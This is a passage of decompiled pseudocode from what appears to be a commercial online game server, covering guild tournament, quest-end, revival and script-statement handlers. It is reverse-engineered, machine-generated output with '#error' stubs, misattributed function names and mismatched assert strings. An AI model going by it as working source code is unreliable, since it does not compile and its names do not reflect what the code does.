AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, (unsigned __int8)v26 + 5); v27 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v44) = 4; Movie::Theater::t_AllInMap(v27, &alchat.baseclass_0); LOBYTE(v44) = 3; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v44) = 2; _eh_vector_destructor_iterator_( &tkn, 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v5 = -1; goto LABEL_22; } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v44) = 2; _eh_vector_destructor_iterator_( &tkn, 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v44) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v44 = -1; v29 = "PineEventScriptNode::ShineChatWindow::sa_Step"; LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v29); __security_check_cookie(v43); return result; } //----- (004B6BD0) -------------------------------------------------------- #error "4B6BD0: undefined or illegal type '#331' (funcsize=337)" //----- (004B7110) -------------------------------------------------------- #error "4B7110: undefined or illegal type '#331' (funcsize=176)" //----- (004B73E0) -------------------------------------------------------- #error "4B73E0: undefined or illegal type '#331' (funcsize=39)" //----- (004B7490) -------------------------------------------------------- #error "4B7490: undefined or illegal type '#331' (funcsize=61)" //----- (004B7590) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step(PineEventScriptNode::ShineEndOfKingdomQuest *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 int v8; // eax@1 unsigned int v9; // edi@2 void *v10; // ecx@6 unsigned __int16 v11; // ax@8 unsigned __int16 v12; // si@8 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &stru_59CBB8); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "ShineEndOfKingdomQuest"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); v8 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v8 ) v9 = *(_DWORD *)(v8 + 60); else v9 = -1; if ( v9 == -1 ) AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Invalid Shine Quest", 0); WorldManagerSession::wms_EndOfKQPacket(&stru_1250E924, v9); v10 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v10 ) FieldMap::fm_ClearObject(v10, 0xB0u); v11 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v12 = v11; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"); return v12; } //----- (004B76D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfGuildTournament::sa_Step(PineEventScriptNode::ShineEndOfGuildTournament *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineEndOfGuildTournament *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // edx@1 int v6; // eax@1 int v7; // eax@2 int v8; // ebp@4 void *v9; // ecx@4 int v10; // edi@6 void *v11; // ecx@6 unsigned __int16 result; // ax@9 int v13; // [sp-4h] [bp-130h]@1 int winner; // [sp+10h] [bp-11Ch]@2 PineScriptToken tkn; // [sp+1Ch] [bp-110h]@1 unsigned int v16; // [sp+11Ch] [bp-10h]@9 int v17; // [sp+128h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; PineScriptToken::pst_Clear(&tkn); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v17) = 1; v6 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&tkn, ps); v13 = 0; if ( v6 != 0 && (winner = PineScriptToken::pst_GetNumber(&tkn, 0), v7 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), v13 = 0, v7 != 0) ) { v8 = PineScriptToken::pst_GetNumber(&tkn, 0); v9 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77280); if ( v9 ) FieldMap::fm_ClearObject(v9, 0xB0u); v10 = *(_DWORD *)&ps->gap10114[4]; v11 = *(void **)(v10 + 77280); if ( v11 ) { FieldMap::fm_GuildTournamentEnd(v11, winner, v8); FieldMap::fm_GuildTournamentClear(*(_DWORD *)(v10 + 77280)); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v17 = -1; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", v13); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v17) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v17 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"); __security_check_cookie(v16); return result; } //----- (004B7880) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineGuildTorunamentResult::sa_Step(PineEventScriptNode::ShineGuildTorunamentResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineGuildTorunamentResult *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@3 MobTacticElement::MobActionBase *v11; // eax@3 int v12; // ebp@3 PineScriptToken *v13; // eax@3 PineScriptToken *v14; // eax@3 void *v15; // ecx@4 AxialListMobKillLog *v16; // ecx@5 PineScriptToken *v17; // eax@7 PineScriptToken *v18; // eax@7 int v19; // eax@8 int v20; // eax@10 char *v21; // edi@10 void *v22; // eax@10 void *v23; // ebp@10 int v24; // eax@12 __int16 v25; // ax@12 int v26; // ecx@12 __int16 v27; // dx@12 Movie::Theater *v28; // ecx@13 Movie::Theater *v29; // ecx@14 unsigned __int16 result; // ax@17 char *v31; // [sp-4h] [bp-14Ch]@2 int (__thiscall **alps)(AxialListProtocolSend *, #331 *, #331 *, int); // [sp+10h] [bp-138h]@12 __int16 v33; // [sp+14h] [bp-134h]@12 int v34; // [sp+18h] [bp-130h]@12 int v35; // [sp+1Ch] [bp-12Ch]@12 AxialListPacketBroadcast alchat; // [sp+20h] [bp-128h]@4 int v37; // [sp+2Ch] [bp-11Ch]@4 int v38; // [sp+30h] [bp-118h]@1 FunctionEntarance _; // [sp+34h] [bp-114h]@1 PineScriptToken tkn; // [sp+38h] [bp-110h]@1 unsigned int v41; // [sp+138h] [bp-10h]@17 int v42; // [sp+144h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v42 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineGuildTorunamentResult"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v42) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); v38 = v9 != 0; if ( v9 != 0 ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_598DE4); v11 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v11, &trc_eol); v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v14 = PineScriptToken::pst_ToLower(v13); if ( PineScriptToken::operator__(v14, index_suc.pst_Buffer) ) { AxialListProtocolSend::AxialListProtocolSend((AxialListProtocolSend *)&alchat, 22, 18); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v37 = v12; v15 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v42) = 2; if ( v15 ) { ShineObjectClass::ShineObject::so_AllInMap(v15, (int)&alchat, 0); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v16 = (AxialListMobKillLog *)&alchat; } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v16 = (AxialListMobKillLog *)&alchat; } } else { v17 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v18 = PineScriptToken::pst_ToLower(v17); if ( PineScriptToken::operator__(v18, index_Result.pst_Buffer) ) { v19 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v38 = v19 != 0; if ( v19 != 0 ) { v20 = PineScriptToken::pst_GetNumber(&tkn, 0); v21 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29922; *(_DWORD *)(v21 + 2) = v12; *(_DWORD *)(v21 + 6) = v20; v22 = (void *)Movie::Theater::GetFieldMap(*(Movie::Theater **)&ps->gap10114[4]); v23 = v22; if ( v22 && FieldMap::fm_GetGuildTournamentSystem(v22) ) { v24 = FieldMap::fm_GetGuildTournamentSystem(v23); GuildTournamentSystem::EndBattle((GuildTournamentSystem *)v24, (tGuildTournamentResult *)&alps); v25 = v33; v26 = v34; *(_DWORD *)(v21 + 10) = alps; v27 = v35; *((_WORD *)v21 + 7) = v25; *((_DWORD *)v21 + 4) = v26; *((_WORD *)v21 + 10) = v27; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 22); v28 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v42) = 3; Movie::Theater::t_AllInMap(v28, &alchat.baseclass_0); LOBYTE(v42) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); } goto LABEL_16; } AxialListProtocolSend::AxialListProtocolSend((AxialListProtocolSend *)&alps, 22, 19); alps = &AxialListGTEnd::_vftable_; v35 = v12; v29 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v42) = 4; Movie::Theater::t_AllInMap(v29, (AxialListIterator *)&alps); alps = &AxialListGTEnd::_vftable_; v16 = (AxialListMobKillLog *)&alps; } LOBYTE(v42) = 1; AxialListWall::_AxialListWall(v16); LABEL_16: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v42 = -1; v31 = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; goto LABEL_17; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v42 = -1; v31 = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v31); __security_check_cookie(v41); return result; } // 5B3010: using guessed type int (__thiscall *AxialListGTEnd___vftable_)(AxialListProtocolSend *this, #331 *, #331 *, int distancesquar); //----- (004B7C00) -------------------------------------------------------- #error "4B7C00: undefined or illegal type '#331' (funcsize=194)" //----- (004B7EF0) -------------------------------------------------------- #error "4B7EF0: undefined or illegal type '#331' (funcsize=177)" //----- (004B81B0) -------------------------------------------------------- #error "4B81B0: undefined or illegal type '#331' (funcsize=111)" //----- (004B8370) -------------------------------------------------------- #error "4B8370: undefined or illegal type '#331' (funcsize=104)" //----- (004B84F0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineBriefEffect::sa_Step(PineEventScriptNode::ShineBriefEffect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineBriefEffect *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // edx@1 char *v6; // ebp@3 PineScriptToken *v7; // eax@3 PineScriptToken *v8; // eax@3 void *v9; // ecx@4 unsigned __int16 result; // ax@9 char *v11; // [sp-4h] [bp-134h]@2 AxialListPacketBroadcast alpb; // [sp+10h] [bp-120h]@4 FunctionEntarance _; // [sp+1Ch] [bp-114h]@1 PineScriptToken tkn; // [sp+20h] [bp-110h]@1 unsigned int v15; // [sp+120h] [bp-10h]@9 int v16; // [sp+12Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineBriefEffect::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineBriefEffect::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineBriefEffect::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; PineScriptToken::pst_Clear(&tkn); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v16) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&tkn, ps) != 0 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27664; v6[2] = PineScriptToken::pst_GetNumber(&tkn, 0); v7 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = PineScriptToken::pst_ToLower(v7); if ( PineScriptToken::operator__(v8, index_all.pst_Buffer) ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alpb, &gpp, 3); v9 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v16) = 2; if ( v9 ) ShineObjectClass::ShineObject::so_AllInMap(v9, (int)&alpb, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v16) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alpb); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v11 = "PineEventScriptNode::ShineBriefEffect::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindPlayer::sa_Step : no part", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v16) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v11 = "PineEventScriptNode::ShineBriefEffect::sa_Step"; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); __security_check_cookie(v15); return result; } //----- (004B86C0) -------------------------------------------------------- #error "4B86C0: undefined or illegal type '#331' (funcsize=63)" //----- (004B87A0) -------------------------------------------------------- #error "4B87A0: undefined or illegal type '#331' (funcsize=36)" //----- (004B8850) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineRevival::sa_Step(PineEventScriptNode::ShineRevival *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { void *v4; // ecx@1 unsigned __int16 v5; // ax@4 unsigned __int16 v6; // si@4 AxialListRevival Alr; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v10; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::ShineRevival::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineRevival::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineRevival::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; AxialListIterator::AxialListIterator(&Alr.baseclass_0); Alr.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRevival::_vftable_; v4 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v10) = 1; if ( v4 ) ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&Alr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); v5 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v10) = 0; Alr.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRevival::_vftable_; v6 = v5; AxialListWall::_AxialListWall((AxialListMobKillLog *)&Alr); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineRevival::sa_Step"); return v6; } // 5B3018: using guessed type int (__stdcall *AxialListRevival___vftable_)(int, int, int distancesquar); //----- (004B8950) -------------------------------------------------------- #error "4B8950: undefined or illegal type '#331' (funcsize=121)" //----- (004B8B20) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ClearSaveLinkto::sa_Step(PineEventScriptNode::ClearSaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { Movie::Theater *v4; // ecx@1 void *v5; // eax@1 NPCManager::LinkInformTemplete LinkInfo; // [sp+Ch] [bp-78h]@1 unsigned int v8; // [sp+74h] [bp-10h]@1 int v9; // [sp+80h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ClearSaveLinkto::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ClearSaveLinkto::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memset(&LinkInfo, 0, 0x64u); v4 = *(Movie::Theater **)&ps->gap10114[4]; v9 = 0; LinkInfo.Party = 0; v5 = (void *)Movie::Theater::GetFieldMap(v4); FieldMap::fm_SetSaveLinktoData(v5, &LinkInfo); PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ClearSaveLinkto::sa_Step"); __security_check_cookie(v8); return (unsigned __int16)v5; } //----- (004B8C00) -------------------------------------------------------- #error "4B8C00: undefined or illegal type '#331' (funcsize=123)" //----- (004B8DE0) -------------------------------------------------------- #error "4B8DE0: undefined or illegal type '#331' (funcsize=222)" //----- (004B9150) -------------------------------------------------------- #error "4B9150: undefined or illegal type '#331' (funcsize=244)" //----- (004B9550) -------------------------------------------------------- #error "4B9550: undefined or illegal type '#592' (funcsize=110)" //----- (004B9710) -------------------------------------------------------- #error "4B9710: undefined or illegal type '#331' (funcsize=133)" //----- (004B9910) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "RegisterGTPortal", 0, 4, 4); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::RegisterGTPortal::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5B313C: using guessed type int (__stdcall *PineEventScriptNode__RegisterGTPortal___vftable_)(int tr); //----- (004B9970) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "SaveLinkto", 0, 4, 4); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::SaveLinkto::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5B3168: using guessed type int (__stdcall *PineEventScriptNode__SaveLinkto___vftable_)(int tr); //----- (004B99D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "ClearSaveLinkto", 0, 0, 0); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ClearSaveLinkto::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5B318C: using guessed type int (__stdcall *PineEventScriptNode__ClearSaveLinkto___vftable_)(int tr); //----- (004B9A30) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "NPCChatNoFacecut", 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::NPCChatNoFacecut::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5B31B4: using guessed type int (__stdcall *PineEventScriptNode__NPCChatNoFacecut___vftable_)(int tr); //----- (004B9A90) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)&unk_5B31F8, 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScinarioCodeParty::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5B31E0: using guessed type int (__stdcall *PineEventScriptNode__ScinarioCodeParty___vftable_)(int tr); //----- (004B9AF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)&unk_5B3224, 1u, 3, 3); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::HasAbstate::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } //----- (004B9B50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)&unk_5B3248, 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::BroadcastCode::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } //----- (004B9BB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, unk_5B3270, 0, 2, 2); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::GTRegisterNPC::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } //----- (004B9C10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, unk_5B3298, 0, 3, 3); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::GTMobRegenKey::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } //----- (004B9C70) -------------------------------------------------------- void *__thiscall PineEventScriptNode::SaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::SaveLinkto *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9C90) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::SaveLinkto *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B3034: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__SaveLinkto____vftable_)(int tr); //----- (004B9CA0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ClearSaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::ClearSaveLinkto *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9CC0) -------------------------------------------------------- void *__thiscall 